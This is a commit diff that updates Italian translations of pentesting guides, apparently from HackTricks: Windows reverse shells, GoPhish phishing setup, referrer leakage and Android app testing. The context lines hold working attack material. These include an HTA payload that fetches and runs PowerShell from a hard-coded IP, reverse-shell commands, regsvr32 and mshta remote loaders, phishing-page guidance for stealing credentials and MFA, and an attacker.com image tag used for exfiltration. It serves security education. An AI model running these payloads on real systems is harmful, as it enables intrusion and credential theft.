Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi

2025-10-10 18:36:50 +00:00 · 2025-02-04 18:48:02 +00:00 · 2025-02-04 18:48:02 +00:00 · 1eeb7b38fa
commit 1eeb7b38fa
parent d9fb1eed8d
23 changed files with 332 additions and 339 deletions
--- a/src/generic-hacking/reverse-shells/windows.md
+++ b/src/generic-hacking/reverse-shells/windows.md
@ -4,8 +4,8 @@

 ## Lolbas

-La pagina [lolbas-project.github.io](https://lolbas-project.github.io/) è per Windows come [https://gtfobins.github.io/](https://gtfobins.github.io/) è per Linux.\
-Ovviamente, **non ci sono file SUID o privilegi sudo in Windows**, ma è utile sapere **come** alcuni **binaries** possono essere (ab)usati per eseguire azioni inaspettate come **eseguire codice arbitrario.**
+La pagina [lolbas-project.github.io](https://lolbas-project.github.io/) è per Windows come [https://gtfobins.github.io/](https://gtfobins.github.io/) è per linux.\
+Ovviamente, **non ci sono file SUID o privilegi sudo in Windows**, ma è utile sapere **come** alcuni **binaries** possono essere (ab)usati per eseguire qualche tipo di azioni inaspettate come **eseguire codice arbitrario.**

 ## NC
 ```bash
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
 ```
 ## SBD

-**[sbd](https://www.kali.org/tools/sbd/) è un'alternativa portatile e sicura a Netcat**. Funziona su sistemi simili a Unix e Win32. Con funzionalità come crittografia forte, esecuzione di programmi, porte sorgente personalizzabili e riconnessione continua, sbd offre una soluzione versatile per la comunicazione TCP/IP. Per gli utenti Windows, la versione sbd.exe della distribuzione Kali Linux può essere utilizzata come sostituto affidabile di Netcat.
+**[sbd](https://www.kali.org/tools/sbd/) è un'alternativa portatile e sicura a Netcat**. Funziona su sistemi simili a Unix e Win32. Con funzionalità come crittografia forte, esecuzione di programmi, porte sorgente personalizzabili e riconnessione continua, sbd offre una soluzione versatile per la comunicazione TCP/IP. Per gli utenti Windows, la versione sbd.exe dalla distribuzione Kali Linux può essere utilizzata come un sostituto affidabile di Netcat.
 ```bash
 # Victims machine
 sbd -l -p 4444 -e bash -v -n
@ -87,7 +87,7 @@ Payload scritto su disco: **NO** (_almeno da nessuna parte che io possa trovare
 powershell -exec bypass -f \\webdavserver\folder\payload.ps1
 ```
 Processo che esegue una chiamata di rete: **svchost.exe**\
-Payload scritto su disco: **Cache locale del client WebDAV**
+Payload scritto su disco: **WebDAV client local cache**

 **One liner:**
 ```bash
@ -113,7 +113,7 @@ mshta \\webdavserver\folder\payload.hta
 ```xml
 <scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
 ```
-**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando l'hta stager**
+**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando lo stager hta**

 #### esempio hta

@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
 #### Regsvr32 -sct

 [**Da qui**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
-```markup
+```html
 <?XML version="1.0"?>
 <!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
 <!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
@ -249,7 +249,7 @@ set lhost 10.2.0.5
 run
 #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
 ```
-**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic usando il stager regsvr**
+**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando il stager regsvr**

 ## Certutil

@ -375,7 +375,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

 [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)

-Nella cartella **Shells**, ci sono molte shell diverse. Per scaricare ed eseguire Invoke-_PowerShellTcp.ps1_, fai una copia dello script e aggiungi alla fine del file:
+Nella cartella **Shells**, ci sono molte shell diverse. Per scaricare ed eseguire Invoke-_PowerShellTcp.ps1_ fai una copia dello script e aggiungi alla fine del file:
 ```
 Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
 ```
@ -399,7 +399,7 @@ Defender non lo rileva come codice malevolo (ancora, 3/04/2019).

 **Altre opzioni offerte da powercat:**

-Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Genera payload, Serve file...
+Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
 ```
 Serve a cmd Shell:
 powercat -l -p 443 -e cmd
--- a/src/generic-methodologies-and-resources/phishing-methodology/README.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md
@ -22,7 +22,7 @@
 ### Tecniche di Variazione del Nome di Dominio

 - **Parola chiave**: Il nome di dominio **contiene** una **parola chiave** importante del dominio originale (es., zelster.com-management.com).
- **sottodominio con trattino**: Cambiare il **punto in un trattino** di un sottodominio (es., www-zelster.com).
+- **sottodominio con trattino**: Cambiare il **punto con un trattino** di un sottodominio (es., www-zelster.com).
 - **Nuovo TLD**: Stesso dominio utilizzando un **nuovo TLD** (es., zelster.org)
 - **Omo-glyph**: **sostituisce** una lettera nel nome di dominio con **lettere che sembrano simili** (es., zelfser.com).
 - **Trasposizione:** **scambia due lettere** all'interno del nome di dominio (es., zelsetr.com).
@ -255,10 +255,10 @@ v=DMARC1; p=none

 Devi **configurare un DKIM per il nuovo dominio**. Se non sai cos'è un record DMARC [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).

-Questo tutorial si basa su: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
+Questo tutorial è basato su: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)

 > [!NOTE]
-> Devi concatenare entrambi i valori B64 che genera la chiave DKIM:
+> Devi concatenare entrambi i valori B64 che la chiave DKIM genera:
 >
 > ```
 > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
@ -267,7 +267,7 @@ Questo tutorial si basa su: [https://www.digitalocean.com/community/tutorials/ho
 ### Testa il punteggio della tua configurazione email

 Puoi farlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\
-Basta accedere alla pagina e inviare un'email all'indirizzo che ti forniscono:
+Basta accedere alla pagina e inviare un'email all'indirizzo che ti danno:
 ```bash
 echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
 ```
@ -303,7 +303,7 @@ Puoi richiedere la rimozione del tuo dominio/IP su [https://sender.office.com/](

 - Imposta un **nome per identificare** il profilo del mittente
 - Decidi da quale account invierai le email di phishing. Suggerimenti: _noreply, support, servicedesk, salesforce..._
- Puoi lasciare vuoti il nome utente e la password, ma assicurati di controllare Ignora Errori di Certificato
+- Puoi lasciare vuoti il nome utente e la password, ma assicurati di selezionare Ignora Errori di Certificato

 ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)

@ -317,7 +317,7 @@ Puoi richiedere la rimozione del tuo dominio/IP su [https://sender.office.com/](
 - Poi scrivi un **oggetto** (niente di strano, solo qualcosa che ti aspetteresti di leggere in una email normale)
 - Assicurati di aver selezionato "**Aggiungi Immagine di Tracciamento**"
 - Scrivi il **modello di email** (puoi usare variabili come nel seguente esempio):
-```markup
+```html
 <html>
 <head>
 <title></title>
@ -344,9 +344,9 @@ Nota che **per aumentare la credibilità dell'email**, è consigliato utilizzare
 ![](<../../images/image (80).png>)

 > [!NOTE]
-> Il Modello di Email consente anche di **allegare file da inviare**. Se desideri anche rubare le sfide NTLM utilizzando alcuni file/documenti appositamente creati [leggi questa pagina](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
+> Il modello di email consente anche di **allegare file da inviare**. Se desideri anche rubare le sfide NTLM utilizzando alcuni file/documenti appositamente creati [leggi questa pagina](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).

-### Pagina di Atterraggio
+### Landing Page

 - Scrivi un **nome**
 - **Scrivi il codice HTML** della pagina web. Nota che puoi **importare** pagine web.
@ -356,11 +356,11 @@ Nota che **per aumentare la credibilità dell'email**, è consigliato utilizzare
 ![](<../../images/image (826).png>)

 > [!NOTE]
-> Di solito dovrai modificare il codice HTML della pagina e fare alcuni test in locale (magari utilizzando un server Apache) **fino a quando non ti piacciono i risultati.** Poi, scrivi quel codice HTML nella casella.\
+> Di solito dovrai modificare il codice HTML della pagina e fare alcuni test in locale (magari usando un server Apache) **fino a quando non ti piacciono i risultati.** Poi, scrivi quel codice HTML nella casella.\
 > Nota che se hai bisogno di **utilizzare alcune risorse statiche** per l'HTML (magari alcune pagine CSS e JS) puoi salvarle in _**/opt/gophish/static/endpoint**_ e poi accedervi da _**/static/\<filename>**_

 > [!NOTE]
-> Per il reindirizzamento potresti **reindirizzare gli utenti alla legittima pagina web principale** della vittima, o reindirizzarli a _/static/migration.html_ per esempio, mettere qualche **ruota che gira (**[**https://loading.io/**](https://loading.io)**) per 5 secondi e poi indicare che il processo è stato completato con successo**.
+> Per il reindirizzamento potresti **reindirizzare gli utenti alla legittima pagina principale** della vittima, o reindirizzarli a _/static/migration.html_ per esempio, mettere qualche **ruota che gira (**[**https://loading.io/**](https://loading.io)**) per 5 secondi e poi indicare che il processo è stato completato con successo**.

 ### Utenti e Gruppi

@ -371,7 +371,7 @@ Nota che **per aumentare la credibilità dell'email**, è consigliato utilizzare

 ### Campagna

-Infine, crea una campagna selezionando un nome, il modello di email, la pagina di atterraggio, l'URL, il profilo di invio e il gruppo. Nota che l'URL sarà il link inviato alle vittime.
+Infine, crea una campagna selezionando un nome, il modello di email, la landing page, l'URL, il profilo di invio e il gruppo. Nota che l'URL sarà il link inviato alle vittime.

 Nota che il **Profilo di Invio consente di inviare un'email di prova per vedere come apparirà l'email di phishing finale**:

@ -414,7 +414,7 @@ L'attacco precedente è piuttosto astuto poiché stai falsificando un sito web r

 ### Via VNC

-E se invece di **inviare la vittima a una pagina malevola** con lo stesso aspetto di quella originale, lo invii a una **sessione VNC con un browser connesso alla pagina web reale**? Sarai in grado di vedere cosa fa, rubare la password, il MFA utilizzato, i cookie...\
+E se invece di **inviare la vittima a una pagina malevola** con lo stesso aspetto di quella originale, la invii a una **sessione VNC con un browser connesso alla pagina web reale**? Sarai in grado di vedere cosa fa, rubare la password, il MFA utilizzato, i cookie...\
 Puoi farlo con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)

 ## Rilevare la rilevazione
--- a/src/interesting-http.md
+++ b/src/interesting-http.md
@ -1,12 +1,12 @@
 {{#include ./banners/hacktricks-training.md}}

-# Intestazioni e politica del referrer
+# Intestazioni e politiche del referrer

 Il referrer è l'intestazione utilizzata dai browser per indicare quale fosse la pagina precedente visitata.

 ## Informazioni sensibili trapelate

-Se in un certo momento all'interno di una pagina web si trovano informazioni sensibili nei parametri di una richiesta GET, se la pagina contiene link a fonti esterne o un attaccante è in grado di far visitare (ingegneria sociale) all'utente un URL controllato dall'attaccante. Potrebbe essere in grado di esfiltrare le informazioni sensibili all'interno dell'ultima richiesta GET.
+Se in un certo momento all'interno di una pagina web qualsiasi informazione sensibile si trova nei parametri di una richiesta GET, se la pagina contiene link a fonti esterne o un attaccante è in grado di far visitare (ingegneria sociale) all'utente un URL controllato dall'attaccante. Potrebbe essere in grado di esfiltrare le informazioni sensibili all'interno dell'ultima richiesta GET.

 ## Mitigazione

@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url
 ## Contromisure

 Puoi sovrascrivere questa regola utilizzando un tag meta HTML (l'attaccante deve sfruttare un'iniezione HTML):
-```markup
+```html
 <meta name="referrer" content="unsafe-url">
 <img src="https://attacker.com">
 ```
--- a/src/mobile-pentesting/android-app-pentesting/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/README.md
@ -2,7 +2,7 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Nozioni di Base sulle Applicazioni Android
+## Nozioni di base sulle Applicazioni Android

 È altamente consigliato iniziare a leggere questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**:

@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk

 adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
 ```
- Unisci tutti gli split e gli apk di base con [APKEditor](https://github.com/REAndroid/APKEditor):
+- Unisci tutti i file divisi e le apk di base con [APKEditor](https://github.com/REAndroid/APKEditor):
 ```bash
 mkdir splits
 adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -56,7 +56,7 @@ Basta dare un'occhiata alle **stringhe** dell'APK per cercare **password**, **UR

 **Firebase**

-Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiori informazioni su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
+Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiore informazione su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)

 ### Basic understanding of the application - Manifest.xml, strings.xml

@ -77,9 +77,9 @@ Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi persona
 ### Tapjacking

 **Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
-In effetti, sta **accecato l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
+In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.

-Trova ulteriori informazioni in:
+Trova maggiori informazioni in:

 {{#ref}}
 tapjacking.md
@ -89,7 +89,7 @@ tapjacking.md

 Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Ciò significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**).

-Maggiori informazioni in:
+Maggiore info in:

 {{#ref}}
 android-task-hijacking.md
@ -104,20 +104,20 @@ In Android, i file **memorizzati** nella **memoria interna** sono **progettati**
 1. **Static Analysis:**
 - **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
 2. **Dynamic Analysis:**
- **Verifica** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **controlla** se alcuni file sono **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
+- **Verifica** le **permissive** impostate sui file creati dall'app. In particolare, **controlla** se alcuni file sono **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.

 **External Storage**

-Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero essere adottate alcune precauzioni:
+Quando si trattano file su **memoria esterna**, come le schede SD, dovrebbero essere adottate alcune precauzioni:

 1. **Accessibilità**:
- I file sulla memoria esterna sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file.
+- I file su memoria esterna sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file.
 2. **Preoccupazioni di Sicurezza**:
- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** sulla memoria esterna.
+- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** su memoria esterna.
 - La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura.
 3. **Gestione dei Dati dalla Memoria Esterna**:
- Esegui sempre **validazione degli input** sui dati recuperati dalla memoria esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile.
- Memorizzare eseguibili o file di classe sulla memoria esterna per il caricamento dinamico è fortemente sconsigliato.
+- Esegui sempre **validazione degli input** sui dati recuperati dalla memoria esterna. Questo è cruciale poiché i dati provengono da una fonte non attendibile.
+- Memorizzare eseguibili o file di classe su memoria esterna per il caricamento dinamico è fortemente sconsigliato.
 - Se la tua applicazione deve recuperare file eseguibili dalla memoria esterna, assicurati che questi file siano **firmati e verificati crittograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione.

 La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
@ -149,7 +149,7 @@ Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografa

 **Utilizzo di algoritmi insicuri e/o deprecati**

-Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti a brute-force con sale.
+Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti alla **forza bruta** con sale.

 ### Altri controlli

@ -177,7 +177,7 @@ Leggi la seguente pagina per imparare come accedere facilmente al codice C# dell

 ### Applicazioni Superpacked

-Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
+Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**

 ### Analisi statica automatizzata del codice

@ -278,11 +278,11 @@ Il framework **basato su clipboard** di Android consente la funzionalità di cop

 **Log di crash**

-Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere trasmessi attraverso la rete, assicurati che siano inviati tramite un canale SSL per la sicurezza.
+Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere trasmessi attraverso la rete, assicurati che vengano inviati tramite un canale SSL per la sicurezza.

 Come pentester, **cerca di dare un'occhiata a questi log**.

-**Dati analitici inviati a terzi**
+**Dati di analisi inviati a terzi**

 Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di implementazioni errate da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se ci sono informazioni sensibili inviate a servizi di terze parti.

@ -309,12 +309,12 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.

 Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**

-[**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities)
+[**Impara come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities)

 Puoi anche avviare un'attività esportata da adb:

- PackageName è com.example.demo
- Exported ActivityName è com.example.test.MainActivity
+- Il nome del pacchetto è com.example.demo
+- Il nome dell'attività esportata è com.example.test.MainActivity
 ```bash
 adb shell am start -n com.example.demo/com.example.test.MainActivity
 ```
@ -329,7 +329,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity

 #### Tapjacking

-Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate all'utente**. Per ulteriori informazioni su [**cosa è il Tapjacking segui il link**](#tapjacking).
+Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](#tapjacking).

 ### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili

@ -351,10 +351,10 @@ Un servizio è fondamentalmente qualcosa che **può ricevere dati**, **elaborarl
 [**Leggi questo se vuoi rinfrescare cosa è un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
 Ricorda che le azioni di un Broadcast Receiver iniziano nel metodo `onReceive`.

-Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\
+Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il ricevitore gestisce il messaggio, potrebbe essere vulnerabile.\
 [**Scopri come sfruttare i Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers)

-### **Sfruttare Schemi / Deep links**
+### **Sfruttare Schemes / Deep links**

 Puoi cercare deep links manualmente, utilizzando strumenti come MobSF o script come [questo](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
 Puoi **aprire** uno **schema** dichiarato usando **adb** o un **browser**:
@ -362,7 +362,7 @@ Puoi **aprire** uno **schema** dichiarato usando **adb** o un **browser**:
 adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
 ```
 _Nota che puoi **omettere il nome del pacchetto** e il mobile chiamerà automaticamente l'app che dovrebbe aprire quel link._
-```markup
+```html
 <!-- Browser regular link -->
 <a href="scheme://hostname/path?param=value">Click me</a>
 <!-- fallback in your url you could try the intent url -->
@ -468,7 +468,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
 ```
 ### **Immagini di Sfondo**

-Quando metti un'applicazione in background, Android memorizza un **istantanea dell'applicazione** in modo che quando viene ripristinata in primo piano inizi a caricare l'immagine prima dell'app, quindi sembra che l'app sia stata caricata più velocemente.
+Quando metti un'applicazione in background, Android memorizza un **istantanea dell'applicazione** in modo che, quando viene ripristinata in primo piano, inizi a caricare l'immagine prima dell'app, quindi sembra che l'app sia stata caricata più velocemente.

 Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare quelle informazioni** (nota che è necessario avere i permessi di root per accedervi).

@ -503,7 +503,7 @@ Probabilmente conosci questo tipo di vulnerabilità dal web. Devi essere partico
 - **Iniezione JavaScript (XSS):** Verifica che il supporto per JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato per impostazione predefinita). [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
 - **Inclusione di File Locali:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato per impostazione predefinita) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
 - **Cookie Eterni**: In diversi casi, quando l'applicazione Android termina la sessione, il cookie non viene revocato o potrebbe persino essere salvato su disco.
- [**Flag Sicuro** nei cookie](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
+- [**Secure Flag** nei cookie](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)

 ---

@ -534,7 +534,7 @@ L'**analizzatore dinamico MobSF** può:
 - Catturare il **traffico HTTPS**
 - Usare **Frida** per ottenere **informazioni** **runtime**

-Dalla versione **Android > 5**, avvierà **automaticamente Frida** e imposterà le impostazioni del **proxy** globale per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
+Dalle versioni di Android **> 5**, avvierà **automaticamente Frida** e imposterà le impostazioni **proxy** globali per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.

 **Frida**

@ -559,7 +559,7 @@ Una volta selezionato il modulo ausiliario che desideri utilizzare, devi premere

 **Shell**

-Mobsf ti offre anche una shell con alcuni comandi **adb**, **comandi MobSF** e comandi **shell** comuni nella parte inferiore della pagina di analisi dinamica. Alcuni comandi interessanti:
+Mobsf ti offre anche una shell con alcuni comandi **adb**, comandi **MobSF** e comandi **shell** comuni nella parte inferiore della pagina di analisi dinamica. Alcuni comandi interessanti:
 ```bash
 help
 shell ls
@ -595,7 +595,7 @@ Questo è un **ottimo strumento per eseguire analisi statiche con una GUI**

 ### [Qark](https://github.com/linkedin/qark)

-Questo strumento è progettato per cercare diverse **vulnerabilità relative alla sicurezza delle applicazioni Android**, sia nel **codice sorgente** che nei **APK impacchettati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" distribuibile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test.
+Questo strumento è progettato per cercare diverse **vulnerabilità delle applicazioni Android relative alla sicurezza**, sia nel **codice sorgente** che nei **APK confezionati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" distribuibile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test.
 ```bash
 pip3 install --user qark  # --user is only needed if not using a virtualenv
 qark --apk path/to/my.apk
@ -615,9 +615,9 @@ reverse-apk relative/path/to/APP.apk
 ```
 ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)

-SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare quelle vulnerabilità.
+SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare tali vulnerabilità.

-Tutte le regole sono concentrate in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui hanno bisogno.
+Tutte le regole sono centrate in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui hanno bisogno.

 Scarica gli ultimi binari dalla [pagina di download](https://superanalyzer.rocks/download.html)
 ```
@ -689,9 +689,9 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg
 (Da quella guida) L'ultima volta che abbiamo controllato, il modo di operare di Dexguard era:

 - caricare una risorsa come InputStream;
- fornire il risultato a una classe che eredita da FilterInputStream per decrittografarlo;
- fare un po' di offuscazione inutile per far perdere qualche minuto di tempo a un reverser;
- fornire il risultato decrittografato a un ZipInputStream per ottenere un file DEX;
+- fornire il risultato a una classe che eredita da FilterInputStream per decrittarlo;
+- fare un po' di offuscazione inutile per far perdere qualche minuto a un reverser;
+- fornire il risultato decrittato a un ZipInputStream per ottenere un file DEX;
 - infine caricare il DEX risultante come Risorsa utilizzando il metodo `loadDex`.

 ### [DeGuard](http://apk-deguard.com)
@ -700,9 +700,9 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg

 Puoi caricare un APK offuscato sulla loro piattaforma.

-### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
+### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)

-Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app android e deoffuscare il codice delle app android. Utilizza l'API pubblica di Google Gemini.
+Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Utilizza l'API pubblica di Gemini di Google.

 ### [Simplify](https://github.com/CalebFenton/simplify)

@ -726,7 +726,7 @@ AndroL4b è una macchina virtuale di sicurezza Android basata su ubuntu-mate che

 - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
 - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) È una grande lista di risorse
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Corso rapido su Android
